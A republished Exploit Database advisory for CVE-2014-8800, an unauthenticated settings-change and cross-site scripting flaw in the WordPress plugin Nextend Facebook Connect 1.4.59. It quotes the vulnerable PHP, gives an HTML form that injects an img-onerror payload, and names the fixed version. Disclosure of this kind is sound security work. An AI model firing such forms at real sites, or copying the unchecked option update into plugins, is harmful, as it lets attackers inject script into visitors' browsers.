WordPress Plugin Nextend Facebook Connect 1.4.59 – Cross-Site Scripting

• Exploit Database
• 15 阅读

• 作者： Kacper Szurek
  日期： 2014-12-02
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/35439/

• # Exploit Title: Nextend Facebook Connect 1.4.59 XSS
  # Date: 16-10-2014
  # Exploit Author: Kacper Szurek - http://security.szurek.pl/ http://twitter.com/KacperSzurek
  # Software Link: https://downloads.wordpress.org/plugin/nextend-facebook-connect.1.4.59.zip
  # Category: webapps
  # CVE: CVE-2014-8800
  
  1. Description
  
  Anyone can change plugin settings.
  
  File: nextend-facebook-connect\nextend-facebook-settings.php
  if(isset($_POST['newfb_update_options'])) {
  	if($_POST['newfb_update_options'] == 'Y') {
  		foreach($_POST AS $k => $v){
  			$_POST[$k] = stripslashes($v);
  		}
  		update_option("nextend_fb_connect", maybe_serialize($_POST));
  		$newfb_status = 'update_success';
  	}
  }
  
  http://security.szurek.pl/nextend-facebook-connect-1459-xss.html
  
  2. Proof of Concept
  
  <form method="post" action="http://wordpress-instalation">
  <input type="hidden" name="newfb_update_options" value="Y">
  XSS: <textarea name="fb_login_button" rows="10" cols="40"><img src=x onerror=alert(String.fromCharCode(88,83,83))>&lt;/textarea&gt;
  <input type="submit" value="Hack!">
  </form>
  
  3. Solution:
  
  Update to version 1.5.1
  https://downloads.wordpress.org/plugin/nextend-facebook-connect.1.5.1.zip
  https://wordpress.org/plugins/nextend-facebook-connect/changelog/